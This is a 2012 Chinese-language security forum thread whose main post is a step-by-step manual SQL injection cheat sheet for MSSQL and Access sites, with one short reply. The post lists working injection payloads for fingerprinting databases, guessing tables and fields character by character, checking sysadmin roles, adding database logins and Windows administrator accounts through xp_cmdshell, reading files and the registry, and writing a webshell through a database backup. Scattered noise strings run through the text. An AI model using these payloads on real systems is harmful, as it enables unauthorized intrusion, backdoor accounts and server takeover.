找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2303|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
手工脚本注入   ~% H8 f! Q' |" w' t
1.判断是否有注入;and 1=1 ;and 1=2 # o+ m+ M. S! g6 r1 i, Y
* A0 Y* u) F! }" V% X
2.初步判断是否是mssql ;and user>0
9 W; G5 `  r0 [  i4 `1 j" Z2 ]) N1 @& M8 s. Q2 ^. v) r3 ~. B4 L% [
3.注入参数是字符'and [查询条件] and ''=' , K8 {8 f9 s, [% D, l: C! \" u

0 e- F% _6 w8 g! @- B4.搜索时没过滤参数的'and [查询条件] and '%25'=' ( b, s! p! V. ?$ D
, ~" Z7 u! q( h# s9 [! Y
5.判断数据库系统
6 g1 o" a) x2 J, m* D3 f;and (select count(*) from sysobjects)>0 mssql ' z: t) f) g& r+ `5 P; v2 }
;and (select count(*) from msysobjects)>0 access 8 o6 u4 F- j( t

8 X# Z0 A. m; y$ M  a7 D! O9 h$ g8 n6.猜数据库 ;and (select Count(*) from [数据库名])>0
$ U2 U0 u  h, r* v+ I4 }. t& o& ~4 f
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
4 M& J' c1 y, W& N! B& o6 c
" k7 T+ h( y2 _  H( h+ N8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 / j, b# V* m1 [3 N8 Z" y$ [

( B5 k2 F: y2 @6 s7 ]9.(1)猜字段的ascii值(access)
# U/ B4 T) F) [;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 0 ]' w; v7 o+ N' H- x/ ~/ ~3 K

, d" q( k# V$ S2 X* ?(2)猜字段的ascii值(mssql) / C' s$ b2 N4 S- ?% k- j
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
5 i% F2 A' J; f3 p2 N
0 z0 J5 t& K" x( {- X; R10.测试权限结构(mssql)
, Y6 b0 f' F4 E% D7 S& \9 E2 g3 X! Y, ^+ h;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 6 I) Z: F5 A4 ]& l
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- + _6 _: j% t5 n& G4 c" f! l4 z( G& ^
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
; g9 \  z( Q. ]2 D7 ?, s;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
) \6 a$ M8 s3 d1 L;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ' n4 D. b6 E2 `% i2 _
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
; U2 @2 a0 M4 l- D  S7 q;and 1=(select IS_MEMBER('db_owner'));--
( C$ L5 V+ g. C# D
3 G0 b) Z5 @" @! ?$ T: p# j, p11.添加mssql和系统的帐户 6 A! ?0 T* N9 R. E  P
;exec master.dbo.sp_addlogin username;-- ' }1 v0 \4 S3 P% U' d6 _3 l3 }/ r

* U  K  `* O) N% b;exec master.dbo.sp_password null,username,password;-- 7 |8 O7 Z& c' @! I% Z' s
0 h( [3 A& ~' P1 B3 n
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ( V, ~2 H9 E1 s* T

) _8 n: B) e* j% y. G- |1 \" m;exec master.dbo.xp_cmdshell 'net user username password
4 q: k* D1 i1 R" Y2 G5 t/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; p. Q' O9 F' D" h
3 i. L) x2 H1 k3 _& E% }; W! U
;exec master.dbo.xp_cmdshell 'net user username password /add';--
) Z: U% @6 r9 V" z+ _
( ]3 J% p$ ^1 f: v6 [;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
  m. O: U$ u9 k: m6 F! \% w5 Q/ H
12.(1)遍历目录 3 ?8 Y* W, @4 Z! d% ^8 ^  D" n8 @' T
9 Z% n* x+ d$ [- F' j, s1 @
;create table dirs(paths varchar(100), id int)
2 V7 L/ `. E: O/ |;insert dirs exec master.dbo.xp_dirtree 'c:\'
3 A9 q9 F$ \0 [1 f7 {;and (select top 1 paths from dirs)>0 - ~  E" S* n  J  e4 ^
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 3 O' R0 d' c/ G5 R$ @3 z
1 L8 `5 z8 n0 b* w
(2)遍历目录 " W6 `4 o) [) M2 l
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ' e) y2 y/ ]- h: G
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
( D3 L5 a. x8 E5 H0 a3 v;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
4 \+ {/ ^3 C8 ?0 B4 o# _;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 / Z0 o1 ~5 u# ~# T/ c6 ]
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
! b# A  l7 Y8 x, c) H
5 \- [8 z. j3 {" [! j4 I# ?8 [# A13.mssql中的存储过程
% R( Y& |" K, E! N8 t. C: X, K6 ^( J4 r
xp_regenumvalues 注册表根键, 子键
3 i4 T1 Q" i+ ~% q$ t# m. _* R;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
7 \/ G# B0 J/ K" {/ U, Q5 I
! l& h) d$ o3 }0 e# Gxp_regread 根键,子键,键值名
  U  s' v0 m+ |) [  c0 ~) o4 F;exec xp_regread
& A. ?1 n5 _& {2 r'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
1 u% A6 O: \% J/ i; a+ [0 E5 X( |, r  O, U; ?2 W& U1 _
xp_regwrite 根键,子键, 值名, 值类型, 值
  ^* {6 i/ m" ]; j, i) L' B$ f值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 : I3 |: A$ S" `; G; Y
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
, \4 `' j  i2 {! V- W9 H/ n. X2 p+ t  W( _9 H# N; f
xp_regdeletevalue 根键,子键,值名
" p% w( H6 |5 I$ O; _
* j, @: U9 K+ B+ u7 texec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
7 u, I1 k( h0 W9 ]; t! n: l/ a* v3 k6 y& e# K1 j
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 9 W5 s" y6 z# Y6 s6 e$ z9 b

* A' a5 i, h3 o- P$ y1 B, j) I14.mssql的backup创建webshell
. \4 f9 |: J" B0 iuse model ! F! y4 U  Z% ?( e1 ]/ G% J
create table cmd(str image);
% V, H/ [7 `% I7 ~1 \) Hinsert into cmd(str) values ('');
2 K5 b6 S4 k" A$ m/ ?$ Dbackup database model to disk='c:\l.asp';
4 z6 t; F: x2 H8 i0 f5 y" A- t; `7 O( k: l
15.mssql内置函数 0 `4 K/ m* M) z& _) _0 X
;and (select @@version)>0 获得Windows的版本号
7 _1 G3 y. U& ]) _( a;and user_name()='dbo' 判断当前系统的连接用户是不是sa $ v+ K/ X* @# N0 |
;and (select user_name())>0 爆当前系统的连接用户 / Q8 h( j5 {0 g& U- e% p! C
;and (select db_name())>0 得到当前连接的数据库
/ R5 G6 a+ l1 `2 X9 z- a# I" N# F
16.简洁的webshell
$ `5 ?0 a( C/ H5 r: W1 O- P5 O
8 E% w- m! h7 N4 M: N* y% @3 cuse model # m6 r5 {( l4 A! W6 l0 ^5 c

; F. Y; K5 _! u# \- x, ecreate table cmd(str image);
, l0 {' `+ h! n( ?& P& X$ a, \+ w3 f$ j2 c% I" ]; L) s" M+ z3 F
insert into cmd(str) values (''); : r) b* M% |+ }) q% v

: t% t! E( w4 Y/ [backup database model to disk='g:\wwwtest\l.asp';
2 e3 L5 u6 t) F* H/ z9 S# \
2 U/ |; _$ @' t2 b0 E
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表